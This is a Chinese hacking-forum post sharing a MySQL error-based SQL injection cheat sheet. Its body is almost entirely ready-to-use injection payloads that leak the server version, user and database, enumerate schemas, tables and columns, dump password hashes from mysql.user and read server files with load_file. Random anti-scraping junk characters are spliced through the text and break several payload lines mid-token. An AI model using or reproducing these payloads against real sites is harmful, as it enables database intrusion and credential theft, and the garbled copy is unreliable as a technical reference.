找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2108|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
  v: l/ D  _. c; i1 R# D) H8 m1 X3 t+ w6 M
! G+ V! E5 Z9 u0 R4 {
Mysql暴错注入参考(pdf),每天一贴。。。
5 W5 d4 @, M; l9 ^+ S
# B* k$ B* Z% vMySql Error Based Injection Reference
6 U# h  G0 O0 e5 j4 Y[Mysql暴错注入参考]9 g& X/ k. t$ ^  J! [' i5 A+ Q
Authornig0s1992
3 K1 b- a  P& s2 u! D, X1 |Blog:http://pnig0s1992.blog.51cto.com/: V  d' ^( ?- \
TeAm:http://www.FreeBuf.com/
: ~9 e" ^+ e# \# {1 U' MMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
+ U, N# G9 Y$ ~6 T8 O6 _小部分版本使用name_const()时会报错.可以用给出的Method.2测试
3 z+ j, D* e! l" @9 \* i* A查询版本:
- s: s. s5 R6 `* L2 Q7 kMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
7 v% p! N+ o3 ^. F+ djoin+(select+name_const(@@version,0))b)c): h7 _6 h& q+ `
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
* @( d% c4 G( q  N4 n, D* F; c. c1 Lup by a)b)
" M. ^- y- E1 x& E: f- u% t- w查询当前用户:
! l3 P/ U  M/ V# WMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)# d. r/ O- E8 I( v* k0 n& I: ~
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
' O& E! ]& ~7 ]! c" _- Cand(0)*2))x+from+information_schema.tables+group+by+x)a)
7 v. E& Q5 t$ @$ @查询当前数据库:
, k- j. r$ l1 |: v8 xMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
! X" n& q/ c8 M) X& v% a2 iMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo% M: x- I4 a/ y+ M& U: s7 |3 N
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) B* C; f) Y- Q$ B. _# L. K# u
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+  Q( O4 P& ^0 N4 ]' y
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n5 |; v6 v' F  B6 L
顺序替换9 a% _$ }7 t. y  \
爆指定库数目:9 `0 n) N, r8 L1 k
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
: c3 V0 J. i# J. t  jable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group& ~0 S8 u) `" ^5 u% G$ |5 ~- Y
+by+x)a)+and+1=1 0x6D7973716C=mysql. o5 d0 y) X; ]# ?4 S, ?# R
依次爆表:
' U" C* s2 {( aand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
( k8 Q4 G( x9 |1 G( dable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta5 O7 y* k5 ]; n% Z# l
bles+group+by+x)a)+and+1=1
! }+ V; t, i% z- ]0 w+ y0x6D7973716C=Mysql 将n顺序替换5 l9 A, C5 B5 ?0 P5 g" y
爆表内字段数目:0 n& B$ V1 v) v& p) R) G5 e7 w1 z+ F0 L
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE% \; t$ t: \+ V7 m; n
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
2 h; u) W  x) P' I. j& p4 X/ N1 w" K0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1$ r( d3 N9 n, v, ~# V7 p
依次爆字段:
' ]6 v/ o! }1 z# @; G9 Eand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where; H# k  ~9 ], z8 J" n& Y
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1% ~5 E# d& r  j  z# c: c7 _
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换& l  ?2 \( L2 s  N4 Q: j- n
依次暴内容:5 q: V! S1 Q6 W) [
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche( N$ j4 w( u% u4 k" t- I
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
) n2 v& J$ g- _9 W将n顺序替换
' ]5 ?, q2 o# C: f4 g爆文件内容:8 ?8 j8 U& X; T
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
6 Y) r8 \! n/ ]; _& vfrom+information_schema.tables+group+by+a)b)
# V+ r$ l% _- B1 J& n5 K) i. t0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节8 n3 _0 ]1 l" C6 M9 N3 D
Thx for reading.
/ v( A) R/ T# S" x$ X+ I
# I! v$ s; g# W5 k不要下载也可以,
. t7 b: R+ V9 G, V# T

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表